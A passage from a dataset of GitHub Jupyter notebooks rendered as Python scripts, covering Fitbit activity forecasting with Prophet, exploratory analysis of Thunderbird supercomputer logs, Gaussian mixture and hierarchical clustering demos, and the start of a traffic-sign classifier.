Step\")\nplt.ylabel(\"Avg Total Rewards\");\n\nimport matplotlib\nmatplotlib.use('Agg')\nmatplotlib.rc('animation', html='html5')\n\nanim = flock_env.visualisation.animate_agents(\n state_ts.agent_positions[-1, 0],\n state_ts.agent_headings[-1, 0],\n rewards[-1, 0]\n)\n\nanim\n\n\n","repo_name":"zombie-einstein/flock_env","sub_path":"examples/ppo_example.ipynb","file_name":"ppo_example.ipynb","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13400778753","text":"# ## Density Estimation for a mixture of Gaussians\n# Source: http://scikit-learn.org/stable/auto_examples/mixture/plot_gmm_pdf.html#example-mixture-plot-gmm-pdf-py\n\n# %matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nfrom sklearn import mixture\n\nn_samples = 300\n\nnp.random.seed(0)\n\n# generate spherican data centered on (20, 20)\nshifted_gaussian = np.random.randn(n_samples, 2) + np.array([20,20])\n\n# generate zero centered stretched Gaussian data\nC = np.array([[0., -0.7], [3.5, .7]])\nstretched_gaussian = np.dot(np.random.randn(n_samples, 2), C)\n\nX_train = np.vstack([shifted_gaussian, stretched_gaussian])\n\n# fit a Gaussian Model with two components\nclf = mixture.GMM(n_components = 2, covariance_type = 'full')\nclf.fit(X_train)\n\nx = np.linspace(-20.0, 30.0)\ny = np.linspace(-20.0, 40.0)\nX, Y = np.meshgrid(x, y)\nXX = np.array([X.ravel(), Y.ravel()]).T\nZ = -clf.score_samples(XX)[0]\nZ = Z.reshape(X.shape)\n\nplt.figure(figsize=(12,6))\nCS = plt.contour(X, Y, Z, norm = LogNorm(vmin = 1.0, vmax = 1000.0), \n levels = np.logspace(0,3,10))\nCB = plt.colorbar(CS, shrink=0.8, extend='both')\nplt.scatter(X_train[:, 0], X_train[:, 1], .8)\nplt.title('Negative log-likelihood predicted by a GMM')\nplt.axis('tight')\nplt.show()\n\n\n","repo_name":"borjaeg/nlp_tests","sub_path":"Density Estimation for a mixture of Gaussians.ipynb","file_name":"Density Estimation for a mixture of Gaussians.ipynb","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"74901711087","text":"# # Exploration of the Fitbit Data\n\n# +\nimport acquire\nimport prepare\nimport explore\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# data manipulation \nimport numpy as np\nimport pandas as pd\n\nfrom datetime import datetime\nimport itertools\n\n# data visualization \nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport statsmodels.api as sm\n\n# %matplotlib inline\n\nfrom sklearn.model_selection import TimeSeriesSplit\n\n# ignore warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\nfrom fbprophet import Prophet\nfrom fbprophet.diagnostics import cross_validation\nfrom fbprophet.diagnostics import performance_metrics\nfrom fbprophet.plot import plot_cross_validation_metric\nfrom fbprophet.plot import plot_forecast_component\n# -\n\nfitbit = prepare.wrangle_fitbit_data()\n\nfitbit.head()\n\n# We make sure that there are no null values\nfitbit.isnull().sum()\n\n# We look at the range of the data, to make sure that there are not gaps\nexplore.find_range(fitbit)\n\nfitbit.index.max() - fitbit.index.min()\n\nfitbit.resample(\"D\").mean().count()\n\n# As we can see - there are no gaps in the data, as the number of rows match the number of days in the data.\n\n# ## Split\n\ntrain = fitbit[:\"2018-10\"]\nvalidate = fitbit[\"2018-11\"]\ntest = fitbit[\"2018-12\"]\n\ntrain.index.max(), validate.index.max(), test.index.min()\n\n# ## Explore\n\n# We need to predict all the values - according to the spec. But, in order to effective create the models. we need to first understand some important features, like the subjects habits, if there is any seasonality, and if there are any trends or outliers.\n\ntrain.shape[1]\n\n# +\n# Is there any seasonality in the data? \n\nf = plt.figure(figsize=(15,8))\n# plt.suptitle(\"Is there any seasonality in the data?\")\nfor count, col in enumerate(train):\n f.add_subplot(2,5, count+1)\n sns.lineplot(data=train, y=col, x=train.index)\n plt.title(train.columns[count])\n plt.xticks(rotation= 45, ha=\"right\")\nplt.tight_layout()\nplt.show()\n# -\n\n# Just by looking at the different categories, there doesn't seem to be any major seasonality that can be seen on a monthly basis. Given that we are not exacly sure what type of activities the subject was being asked to do, it is not surprising. \n#\n# In terms of trends, there does seem to be a general increase in activity, and a decrease in \"sedimentary\" activity. \n#\n# Unfortunately, there is very little information about caloric intake, which will make it significantly difficult to predict weight.\n\n# +\n# Are there any patterns looking at the data over a weekly period?\n\ntrain_w = train.resample(\"W\").mean()\n\nf = plt.figure(figsize=(15,8))\n# plt.suptitle(\"Is there any seasonality in the data?\")\nfor count, col in enumerate(train_w):\n f.add_subplot(2,5, count+1)\n sns.lineplot(data=train_w, y=col, x=train_w.index)\n plt.title(train_w.columns[count])\n plt.xticks(rotation= 45, ha=\"right\")\nplt.tight_layout()\nplt.show()\n# -\n\n# Here, the trends mentioned earlier are even more clear.\n\n# +\n# Where there any particular days of the week that the subject was more, or less, active?\n\ntrain[\"day\"] = train.index.day_name()\n\nf = plt.figure(figsize=(20,9))\nfor count, col in enumerate(train):\n if col != \"day\":\n f.add_subplot(3,4, count+1)\n sns.barplot(data=train, x=\"day\", y=col, ci=False)\n plt.title(col)\n plt.xticks(rotation=45, ha=\"right\")\nplt.tight_layout()\nplt.show()\n\n\n# -\n\n# From the data, I suspect that the subject would likely start being more active during the second half of the week, starting from Thursday, through Sunday, and then being less active Monday - Wednesday. Overall, it seemed that the weekend was when the subject was most active, with Sunday being the subject's most active day, regardless of the intensitve of activity. \n#\n# That being said, however, it dpes seem that there were not hugely significant differences on when the subject would workout.\n#\n# One interesting thing to note is the floors. It is interesting because the subject seems to climb a lot of floors both on week days, and weekend, which would suggest the subject either lives in a house with several stories, or hte subject might perhaps not be entirely relaint of a car for transportation, meaning that it has to walk. At the same time, it is difficult to measure the effectiveness of the fitbit's ability to count floors, so this could largely be a miscalculation.\n\ndef seasonal_decomposition(df, col):\n y = df[col].resample(\"D\").mean()\n\n result = sm.tsa.seasonal_decompose(y)\n decomposition = pd.DataFrame({\n \"y\": result.observed,\n \"trend\": result.trend,\n \"seasonal\": result.seasonal,\n \"resid\": result.resid,\n })\n\n decomposition.iloc[:,1:].plot()\n\n\n# +\n# # Lets confirm seasonality on a weekly basis\n\n# seasonal_decomposition(train, \"Steps\")\n# plt.title(\"Is there a trend in activity?\")\n# seasonal_decomposition(train, \"Minutes Sedentary\")\n# plt.title(\"Is the trend seen in inactivity?\")\n# -\n\n# We can definitively see that there is a positve trend when it comes to activity over time. Weidly, however, the trend doesn't seem to be reflected when we look at the inactivity (as you would expect to see a decrease).\n\n# +\n# Can we confirm some seasonality with a lagplot?\n\npd.plotting.autocorrelation_plot(train.Steps.resample(\"W\").mean())\n\npd.plotting.autocorrelation_plot(train[\"Minutes Sedentary\"].resample(\"W\").mean())\n# -\n\n# There doesn't seem to be any notable seasonality, as there are no clear peaks, and the majority of the data seems to fall under the confidence belts, which indicates that it is mostly noise, without significant correlations.\n\n# The next thing I would like to look at is whether we can use steps and distance to predict the subjects height, and potentially sex.\n\n# What is the subjects average number of steps to complete a mile?\nmile_1 = train[train.Distance.between(1, 1.05)].Steps[0]\nmile_2 = train[train.Distance.between(2, 2.1)].Steps[0]\n\n# +\n# what is the patients stride length?\nstride = (5280/(mile_2/2))*12\n\nprint(f'The subjects legnth stride, in inches, is {stride:2.2f}')\n\n# +\n# Knowing the subjects length stride, we can now calculate the height. \n# using the information found here: https://lowellrunning.com/stepspermile/, we divide the stride by a constant number,\n# and we get the height, in inches.\n\nprint(f'The subject\\'s height, in inches, is {stride / .413:.2f}. This is 5.10 feet.')\n# -\n\n# Given that the average height for men in 5.6 ft, and the average height for women is 5.2 ft, I would suspect that the subject is male. \n\n# +\n# Can we calculate caloric intake? \n# By looking at the number of calories consumed, and the number of calories burned, can we calculate if the\n# subject has lost or gain weight since the begining of the experiment?\n\ntrain[\"calory_deficit\"] = train.calories - train[\"Calories Burned\"]\n# -\n\nsns.lineplot(data=train, x=train.index, y=\"calory_deficit\")\nplt.title(\"Net Calories Consumed\")\n\n# +\n# Mean caloric deficit\n\nround(train.calory_deficit.mean(),2)\n# -\n\n# Interestingly, the subject did seems to decrease its overall net caloric intake over time. This means that the subjects increase in exercise did likely lead to the subject loosing some weight. It is difficult to predict how accurate this is, however, given that we have very little actual data to indicate caloric intake. \n#\n# That being said, if the subject did actually have a caloric deficit of about 550, that means that the subject was likely loosing weight. \n\ntrain[train.calory_deficit > 0].shape\n\ntrain[train.calory_deficit <= train.calory_deficit.mean()].shape\n\nprint(f'The subject had an above average calory deficit for {188 / 7:.0f} weeks')\n\n# There were 27 weeks in which the subject had a caloric deficit of over 1000 calories or higher. This can help us approximate how many pounds the subject might have lost. After doing some reaserch, we found that with a caloric deficit of 500, over 7 days, we can expect a person to lose about 1 pount. This means that, over 27 weeks, our subject could have lost up to 40 pounds. That being said, it is difficult to believe that this is remotely accurate, as there is only one day where the subject ate more calories than he/she burned. \n#\n# It is also difficult to calculate the subjects weight loss / gain, because we also don't have a metabolic rate, which could help us calculate how many calories, on average, the subject would need to ingest daily to loose weight.\n\n#\n#\n# This is what we have discovered so far:\n#\n# 1. Subject is likely male, and is about 5.10 ft high\n# 1. The subject seems to be more active on Sunday than any other day. \n# 1. Subject has a strong positive trend for activity over the year, meaning that we see that the subject was becoming more active with time.\n# 1. There is no discernable pattern in terms of activity over a weekly period.\n# 1. Given the subjects height, and gender, we can use information on the internet to get an approximation of its weight, which would be around: 149 - 183 lbs. Ideally, we would look at the subjects caloric intake and activities to predict \n# 1. The mean caloric deficit for the subject was about 1,300 calories. Despite now being able to accurately predict the overall weight change of the subject, I suspect the subject likely lost some weight during the time of the experiment. \n\n# # Modeling\n#\n# Now that we have a better understanding of the subjects behavior, we can begin to look at modeling. Given the specs, we need to predict the next two weeks, starting from December 28th, 2018.\n#\n# Some things that we do need to keep in mind, it will be difficult to predict the subject's immediate bahavior, is this is close to the holidays, where most people change their behavior. \n\n# +\nfitbit = prepare.wrangle_fitbit_data()\n\ntrain = fitbit[:\"2018-10\"]\nvalidate = fitbit[\"2018-11\"]\ntest = fitbit[\"2018-12\"]\n# -\n\nimport model\n\n# ## Calories\n\ntarget_variable = \"calories\"\n\n# establish a baseline\npredictions_calories = model.create_predictions_df(train, validate, \"calories\")\n\n# +\n# simple_average\n\ny_pred = model.run_simple_average(train, target_variable)\npredictions_calories[\"simple_average\"] = y_pred\n\n# +\n# moving average\n\nrolling_period = [1, 14, 52]\n\ny_pred = model.run_moving_average(train, target_variable, 7)\npredictions_calories[\"moving_average\"] = y_pred\n# -\n\ntrain.index.max()\n\n# +\n# holts prediction\n\nholt, y_pred = model.run_holts(train, validate, target_variable, exponential=True)\npredictions_calories[\"holts_prediction\"] = y_pred\n# -\n\nmodel.plot_rmse(predictions_calories)\nplt.title(\"RMSE Score\")\n\n# FB prophet\ndf = prepare.wrangle_fitbit_data()\n\n\ndef prep_fb(df, target_variable):\n \n df.index = df.index.rename(\"ds\")\n df = df[[target_variable]]\n df.rename(columns = {target_variable: \"y\"}, inplace=True)\n return df\n\n\ndf = prep_fb(df, \"calories\")\n\ntrain = df[:\"2018-10\"]\nvalidate = df[\"2018-11\"]\ntest = df[\"2018-12\"]\n\ntrain[\"cap\"] = 4000\ntrain[\"floor\"] = 0\n\ntrain = train.reset_index()\nvalidate = validate.reset_index()\ntest = test.reset_index()\n\nm = Prophet(growth = 'logistic', \n weekly_seasonality = True, \n daily_seasonality = False,\n changepoint_range = 0.8)\nm.add_country_holidays(country_name='US')\nm.fit(train)\n\ndf_cv = cross_validation(m, initial = \"50 days\", period = \"60 days\", horizon = \"30 days\")\n\ndf_cv.head()\n\ndf_p = performance_metrics(df_cv)\ndf_p.rmse.mean(), df_p.mape.mean()\n\nfig = plot_cross_validation_metric(df_cv, metric = 'rmse', rolling_window = .2)\n\n\n# We see that facebook prophet actually works really well. The model averages at less than 1% error across the horizon. The model is, on average, 15 calories off the correct value, which is really good. \n\n# ## Calories Burned\n\n# +\nfitbit = prepare.wrangle_fitbit_data()\n\ntrain = fitbit[:\"2018-10\"]\nvalidate = fitbit[\"2018-11\"]\ntest = fitbit[\"2018-12\"]\n# -\n\npredictions = model.run_all_models(train, validate, \"Calories Burned\", [1, 7, 14])\n\nmodel.plot_rmse(predictions)\nplt.title(\"RMSE Score\")\n\n# From our first group of models - we see that the moving average of 7 days does best, with a RMSE of around 470 calories in error.\n\nfitbit[\"Calories Burned\"].max()\n\n# +\n# FB phrobet\n\nm , df_cv = model.run_prophet(\"Calories Burned\", 6000, 0, \"120 days\", \"14 days\", \"30 days\")\n# -\n\ndf_cv\n\ndf_p = performance_metrics(df_cv)\ndf_p.rmse.mean(), df_p.mape.mean()\n\nfig = plot_cross_validation_metric(df_cv, metric = 'rmse', rolling_window = .2)\n\n# We see that our model actually performs very similar to our moving average model (with a rolling period of 7). The error is not super significant (at around 11%). Key takeaway is that both models could be use to accurately predict Calories Burned\n\n# ## Steps\n\n# +\nfitbit = prepare.wrangle_fitbit_data()\n\ntrain = fitbit[:\"2018-10\"]\nvalidate = fitbit[\"2018-11\"]\ntest = fitbit[\"2018-12\"]\n\ntarget_variable = \"Steps\"\n# -\n\npredictions = model.run_all_models(train, validate, target_variable, [1, 7, 14])\n\nmodel.plot_rmse(predictions)\nplt.title(\"RMSE Score\")\n\n# From our first group of models - we see that the moving average of 7 days does best, with a RMSE of around 4000 steps in error.\n\nfitbit[\"Steps\"].max()\n\n# +\n# FB phrobet\n\nm, df_cv = model.run_prophet(target_variable, 50000, 0, \"120 days\", \"14 days\", \"30 days\")\n# -\n\ndf_cv\n\ndf_p = performance_metrics(df_cv)\ndf_p.rmse.mean(), df_p.mape.mean()\n\nfig = plot_cross_validation_metric(df_cv, metric = 'rmse', rolling_window = .2)\n\n# Again, we see that the facebook model does the best. In this case it performs better by reducing the error by about 600 steps. I suspect we could likely improve this score by reducing some of the outliers that were found in this feature, as they are likly the main reason that the error is around 31%.\n\n# ## Distance\n\n# +\nfitbit = prepare.wrangle_fitbit_data()\n\ntrain = fitbit[:\"2018-10\"]\nvalidate = fitbit[\"2018-11\"]\ntest = fitbit[\"2018-12\"]\n\ntarget_variable = \"Distance\"\n# -\n\npredictions = model.run_all_models(train, validate, target_variable, [1, 7, 14])\n\nmodel.plot_rmse(predictions)\nplt.title(\"RMSE Score\")\n\n# From our first group of models - we see that the moving average of 7 days does best, with a RMSE of around 2 mile in error.\n\nfitbit[\"Distance\"].max() * 2\n\n# +\n# FB phrobet\n\nm, df_cv = model.run_prophet(target_variable, fitbit[target_variable].max() * 2, 0, \"120 days\", \"30 days\", \"30 days\")\n# -\n\ndf_cv\n\ndf_p = performance_metrics(df_cv)\ndf_p.rmse.mean(), df_p.mape.mean()\n\nfig = plot_cross_validation_metric(df_cv, metric = 'rmse', rolling_window = .2)\n\n# The model performs better than the baselines by about .5 a mile, on average. This is another feature that I suspect would benefit from having the outliers removed earlier. I recommend using facebook prophets model for this feature.\n\n# # Getting Predictions\n\ndays = pd.date_range(\"2018-12-29\", \"2019-01-11\", freq='D')\npredictions = pd.DataFrame({\"ds\": days})\nfor col in fitbit:\n m, df_cv = model.run_prophet(col, fitbit[col].max() * 2, 0, \"120 days\", \"30 days\", \"30 days\")\n future = pd.DataFrame({\"ds\": days, \"floor\": 0, \"cap\": fitbit[col].max() * 2})\n forecast = m.predict(future)\n predictions[col] = forecast[\"yhat\"]\n \n\npredictions.head()\n\n# +\n# # Python\n# from fbprophet.plot import plot_plotly\n# import plotly.offline as py\n# py.init_notebook_mode()\n\n# fig = plot_plotly(m, forecast) # This returns a plotly Figure\n# py.iplot(fig)\n# -\n\n# # Conclusion\n\n# Overall, after several round of testing, we can assume that the prophet model would likely perfom better than the other model to do Time Series Analysis, at least for this dataset. \n#\n# Below is a summary on our findings of the subject: \n# 1. Subject is likely male, and is about 5.10 ft high\n# 1. The subject seems to be more active on Sunday than any other day. \n# 1. Subject has a strong positive trend for activity over the year, meaning that we see that the subject was becoming more active with time.\n# 1. There is no discernable pattern in terms of activity over a weekly period.\n# 1. Given the subjects height, and gender, we can use information on the internet to get an approximation of its weight, which would be around: 149 - 183 lbs. Ideally, we would look at the subjects caloric intake and activities to predict \n# 1. The mean caloric deficit for the subject was about 1,300 calories. Despite now being able to accurately predict the overall weight change of the subject, I suspect the subject likely lost some weight during the time of the experiment. \n","repo_name":"guedanie/fitbit-time-series-analysis","sub_path":"explore_notes.ipynb","file_name":"explore_notes.ipynb","file_ext":"py","file_size_in_byte":16401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"19345065434","text":"# # Thunderbird 2 supercomputer logs EDA\n#\n# ## Introduction\n# This notebook contains exploratory data analysis of Thunderbird 2 supercomputer logs that is a part of CFDR data (see https://www.usenix.org/cfdr-data). CFDR data contains logs of 22 high-performance computing systems. The workloads run on those systems are large-scale long-running 3D scientific simulations, e.g. for nuclear stockpile stewardship. \n#\n# Original dataset used for extracting the sample under analysis is a raw text file containing event logs collected between 2004 and 2006 containing alert and non-alert messages identified by alert category tags. Thunderbird supercomputer logs dataset is suitable for alert detection and prediction research.\n#\n# ## The data set overview\n# Thunderbird original logs contain 211,212,192 messages, where 3,248,239 of them are related to 10 categories of alerts. Non-alert messages are starting with \"-\" mark.\n#\n# The logs were collected using UDP protocol for transmission. Some alert messages are missing in sample records that was caused by network connection interruption.\n#\n# The data sample used for further analysis is extracted from the original one as a random subsample containing 0,5% of records.\n#\n# More detailed dataset description can be found in the paper written by Adam Oliner and Jon Stearley [1].\n#\n# ## References\n# 1. Oliner, Adam & Stearley, Jon. (2007). What Supercomputers Say: A Study of Five System Logs. 575-584. 10.1109/DSN.2007.103. \n#\n\n# # Exploratory data analysis\n#\n# ## I. The dataset overview and preprocessing\n#\n#\n\n# Load the dataset:\n\n# + pycharm={\"is_executing\": true}\n# %matplotlib inline\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport featuretools as ft\nimport gc\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\n\ndata = pd.read_csv(\"../data/tbird2_sample.csv\")\ndata.head()\n\n# + pycharm={\"is_executing\": true}\ndata.shape\n# -\n\n# Extract new static timestamp features from datetime and time columns:\n\n# + pycharm={\"is_executing\": true}\ndata[\"date\"] = pd.to_datetime(data[\"date\"])\ndata[\"datetime\"] = data['date'].astype(str).str.cat(data['time'].astype(str), sep=' ')\ndata[\"datetime\"] = pd.to_datetime(data[\"datetime\"])\ndata['unix_date'] = pd.DatetimeIndex(data['datetime']).astype(np.int64)/1000000\ndata['weekday'] = data['datetime'].dt.weekday\ndata.drop(['date'], 1, inplace=True)\ndata.drop(['month'], 1, inplace=True)\ndata.drop(['day'], 1, inplace=True)\ndata.drop(['time'], 1, inplace=True)\ndata.drop(['datetime'], 1, inplace=True)\ndata.head()\n# -\n\n# Investigate **tool** feature:\n\n# + pycharm={\"is_executing\": true}\ndata['tool'].value_counts()\n# -\n\n# Processes names are in the following forms:\n# 1. ***process_name:***\n# 2. ***process_name [process_id]:***\n# 3. ***process_name(authentication_module) [process_id]:***\n#\n\n# + pycharm={\"is_executing\": true}\ndata['tool'] = data['tool'].apply(lambda x: x.replace(':', '').replace('\\r\\n', ''))\ndata['process_id'] = data['tool'].str.extract('.*\\[(.*)\\].*')\ndata['tool'] = data['tool'].str.replace(r\"\\[.*\\]\",\"\") # delete process id from tool description\ndata['tool_name'] = data['tool'].str.replace(r\"\\(.*\\)\",\"\")\ndata['authentication'] = data['tool'].str.extract('.*\\((.*)\\).*')\ndata.drop(['tool'], 1, inplace=True)\n\ndata.head()\n\n# + pycharm={\"is_executing\": true}\ndata['tool_name'].value_counts()\n\n# + pycharm={\"is_executing\": true}\ndata['authentication'].value_counts()\n# -\n\n# Drop the columns that bring bias into the data. Even when the logs have several messages related to the same process id, some of log alets are corrupted or have missing value of the process id. Message and process id values are informative only in the context of current dataset, so they need to be dropped out. Host privilige already contains information represented by the host name, so this feature also should be dropped out.\n\n# + pycharm={\"is_executing\": true}\ndata.drop(['process_id'], 1, inplace=True)\ndata.drop(['message_id'], 1, inplace=True)\ndata.drop(['host_privilege'], 1, inplace=True)\n# -\n\n# ## II. Missing entries overview\n\n# + pycharm={\"is_executing\": true}\ndata.isnull().sum()\n# -\n\n# 850 entries have logs with lost messages. As the message was missing due to the connection failure, all missing values are going to be replaced with 'Connection failure' message.\n# 210114 entries have logs with missing authentication value - it means that the session can be already running or closed, it is unclear because log messages generated by different tools have different signatures, so as we are unaware of the context, fill all missing authentication values as unknown.\n\n# + pycharm={\"is_executing\": true}\ndata['message'].fillna(\"Connection failure\", inplace = True)\ndata['authentication'].fillna(\"unknown\", inplace = True)\ndata.isnull().sum()\n\n# + pycharm={\"is_executing\": true}\ndata['message'].value_counts()\n\n# + pycharm={\"is_executing\": true}\ndata['message'].value_counts() == 1\n# -\n\n# ## III. Feature encoding \n#\n\n# + pycharm={\"is_executing\": true}\ndata.alert_class.value_counts()\n# -\n\n# The sample contains 219653 non-alert messages, that is the majority of records.\n# All other log types belong to different alert types.\n#\n# Encode alert / non-alert classes as follows:\n\n# + pycharm={\"is_executing\": true}\nlog_type_dict = {'-':0, '^(?!.*-).*$':1}\n\ndata['alert_class'] = data['alert_class'].replace(log_type_dict, regex=True)\n\ndata.alert_class.value_counts()\n\n# + pycharm={\"is_executing\": true}\n# Categorical boolean mask\ncategorical_feature_mask = data.dtypes==object# filter categorical columns using mask and turn it into a list\ncategorical_cols = data.columns[categorical_feature_mask].tolist()\n\nle = LabelEncoder()\ndata[categorical_cols] = data[categorical_cols].apply(lambda col: le.fit_transform(col))\n\ndata[categorical_cols].head(10)\n# -\n\n# ## IV. Feature engineering\n#\n# Lag feature from the timestamp\n#\n# As the timestamp feature itself would likely not show the correct correlation between the extract variables affecting alert type of the message, the lag feature is extracted for the **alert_class** based on the alert type of the previous record. All 200,000 log records were intentionally extracted keeping the original order based on the timestamp from the raw dataset. The **t-1** lag feature for alert type is extracted as follows:\n\n# + pycharm={\"is_executing\": true}\ndata = data.sort_values(by='unix_date')\n\n# + pycharm={\"is_executing\": true}\ndata['lag_1'] = data['alert_class'].shift(1)\ndata.head()\n\n# + pycharm={\"is_executing\": true}\ndata['lag_1'].fillna(0, inplace = True)\ndata['lag_1'].value_counts()\n\n# + pycharm={\"is_executing\": true}\ndata.drop(['unix_date'], 1, inplace=True)\ndata.head()\n# -\n\n# ## V. Features overview\n#\n# Frequency distribution of alert and non-alert messages:\n\n# + pycharm={\"is_executing\": true}\n# %matplotlib inline\ncount = data['alert_class'].value_counts()\nsns.set(style=\"darkgrid\")\nsns.barplot(count.index, count.values, alpha=0.9)\nplt.title('Frequency Distribution of Alert and Non-Alert Messages')\nplt.ylabel('Number of Occurrences', fontsize=15)\nplt.xlabel('Message Type', fontsize=15)\nplt.show()\n\n# + pycharm={\"is_executing\": true}\nlabels = data['alert_class'].astype('category').cat.categories.tolist()\ncounts = data['alert_class'].value_counts()\nsizes = [counts[var_cat] for var_cat in labels]\nfig1, ax1 = plt.subplots()\nax1.pie(sizes, labels=labels, autopct='%1.1f%%', shadow=True)\nax1.axis('equal')\nplt.show()\n# -\n\n# As it is seen from the pie plot above, there are only 4,4% records that behave as anomalies.\n#\n# Data distribution:\n\nsns.set(color_codes=True)\nsns.distplot(data['alert_class'])\n\n# ## VI. Features correlation heatmap\n\n# + [markdown] pycharm={\"is_executing\": true}\n# Normality tests\n# -\n\ndata.shape\n\n# +\n# Anderson-Darling Test\n\nfrom scipy.stats import anderson\n\n# normality test\nfeatures = data.columns.values\n# print(features)\n\ndef check_normality(feature):\n result = anderson(data[feature].values)\n print(feature, ' Statistic: %.3f' % result.statistic)\n p = 0\n for i in range(len(result.critical_values)):\n sl, cv = result.significance_level[i], result.critical_values[i]\n if result.statistic < result.critical_values[i]:\n print('%.3f: %.3f, data looks normal (fail to reject H0)' % (sl, cv))\n else:\n print('%.3f: %.3f, data does not look normal (reject H0)' % (sl, cv))\n \nfor fre in features:\n check_normality(fre)\n# -\n\n# According to Anderson-Darling normality test, nor of the features have Gaussian-like distribution, so the correlation between features is going to be checked based on Spearman's correlation.\n\n# + pycharm={\"is_executing\": true}\nfig, ax = plt.subplots(figsize=(60, 60))\nsns.set(font_scale=10)\ncorrelation_matrix = data.corr(method='spearman', min_periods=1)\nsns.heatmap(correlation_matrix, ax=ax, cmap=\"plasma\", fmt=\"d\")\nax.set_ylabel('')\nax.set_xlabel('')\nplt.show()\n\n\n# + [markdown] pycharm={\"is_executing\": true}\n# As it is seen in the heatmap above, the majority of features have Spearman's correlation coefficient positive values close to 0, meaning that the majority of features are not linearly strongly correlated nor have strong negative linear correlation.\n# Authentication and message features currently have strongly negative correlation.\n#\n# Features that are out of Spearman's linear correlation values range [0.0, 0.8] are going to be dropped out from the features set for reducing bias.\n#\n\n# + pycharm={\"is_executing\": true}\ndef drop_lin_correlated(df_in, method):\n lower_bound = 0.0\n upper_bound = 0.8\n corr_matrix = df_in.corr(method=method, min_periods=1).abs()\n # the matrix is symmetric so we need to extract upper triangle matrix without diagonal (k = 1)\n upper = corr_matrix.where(np.triu(np.ones(corr_matrix.shape), k=1).astype(np.bool))\n\n # Find indices of feature columns with correlation greater than 0.80\n features_above_max = [column for column in upper.columns if any(upper[column] > upper_bound)]\n # Find indices of feature columns with correlation less than 0\n features_below_min = [column for column in upper.columns if any(upper[column] < lower_bound)]\n features_to_drop = features_above_max + features_below_min\n df_out = df_in.drop(features_to_drop, axis=1)\n\n return df_out\n\nfiltered_out_features = drop_lin_correlated(data, method=\"spearman\")\nfiltered_out_features.columns.values\n# -\n\n# Currently all 7 features are kept\n","repo_name":"vcaramba/thunderbird2_logs_eda","sub_path":"notebooks/logs_eda.ipynb","file_name":"logs_eda.ipynb","file_ext":"py","file_size_in_byte":10409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"3395614188","text":"# ### Hierarchical clustering\n# - agglomerative - bottom up, form closest datapoint into cluster, repeat until no more points\n# - divisive\n# - https://stackabuse.com/hierarchical-clustering-with-python-and-scikit-learn/\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport scipy.cluster.hierarchy as hc\nfrom sklearn.cluster import AgglomerativeClustering\n\n# ### Read the dataset\n\ndf = pd.read_csv(\"Mall_Customers.csv\")\nprint(len(df))\nX = df.iloc[:, [3,4]].values\ndf.head()\n\n# ### Create the dendrogram\n# - linkage: https://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.linkage.html\n# - helps visualize the number of clusters\n\nplt.figure(figsize=(10,6))\ndendrogram = hc.dendrogram(hc.linkage(X, method='ward'))\nplt.title('Dendrogram')\nplt.xlabel('Customers')\nplt.ylabel(\"euclidean distances\")\nplt.show()\n\n# ### fit to agglomerative cluster\n# - https://scikit-learn.org/stable/modules/generated/sklearn.cluster.AgglomerativeClustering.html\n\nclust = AgglomerativeClustering(n_clusters=5, affinity='euclidean', linkage='ward')\ny_pred = clust.fit_predict(X)\n\n# ### Plot the clusters\n\nplt.scatter(X[y_pred == 0, 0], X[y_pred == 0, 1], s = 100, c = 'red', label = 'Cluster 1')\nplt.scatter(X[y_pred == 1, 0], X[y_pred == 1, 1], s = 100, c = 'blue', label = 'Cluster 2')\nplt.scatter(X[y_pred == 2, 0], X[y_pred == 2, 1], s = 100, c = 'green', label = 'Cluster 3')\nplt.scatter(X[y_pred == 3, 0], X[y_pred == 3, 1], s = 100, c = 'cyan', label = 'Cluster 4')\nplt.scatter(X[y_pred == 4, 0], X[y_pred == 4, 1], s = 100, c = 'magenta', label = 'Cluster 5')\nplt.title('Clusters of customers')\nplt.xlabel('Annual Income (k$)')\nplt.ylabel('Spending Score (1-100)')\nplt.legend()\nplt.show()\n\n\n","repo_name":"darrahts/machinelearning","sub_path":"clustering/hierarchicalClustering.ipynb","file_name":"hierarchicalClustering.ipynb","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30201025810","text":"# +\n#import stuff\nimport pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport random\nimport tensorflow as tf\nimport cv2\nimport time\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.utils import shuffle\nfrom datetime import timedelta\nfrom tqdm import tqdm\nfrom math import ceil\n# -\n\n# ## Step 1: Dataset Exploration\n\n# +\n# Load pickled data\ntraining_file = 'traffic-signs-data/train.p'\ntesting_file = 'traffic-signs-data/test.p'\n\nwith open(training_file, mode='rb') as f:\n train = pickle.load(f)\nwith open(testing_file, mode='rb') as f:\n test = pickle.load(f)\n \nX_train, y_train = train['features'], train['labels']\nX_test, y_test = test['features'], test['labels'] \n\n###basic data summary.\n# TODO: number of training examples\nn_train = X_train.shape[0]\n\n# TODO: number of testing examples\nn_test = X_test.shape[0]\n\n# TODO: what's the shape of an image?\nimg_size = X_train.shape[1]\nimg_shape = (img_size,img_size)\n\n#shape of a flat image\nimg_size_flat = img_size*img_size\n\n# TODO: how many classes are in the dataset\nn_cls = len(np.unique (y_test))\n\nprint(\"Number of training examples =\", n_train)\nprint(\"Number of testing examples =\", n_test)\nprint(\"Image data shape =\", img_shape)\nprint(\"Image data size flat=\", img_size_flat)\nprint(\"Number of classes =\", n_cls)\n# -\n\n### Data exploration visualization goes here.\n#histogram of the 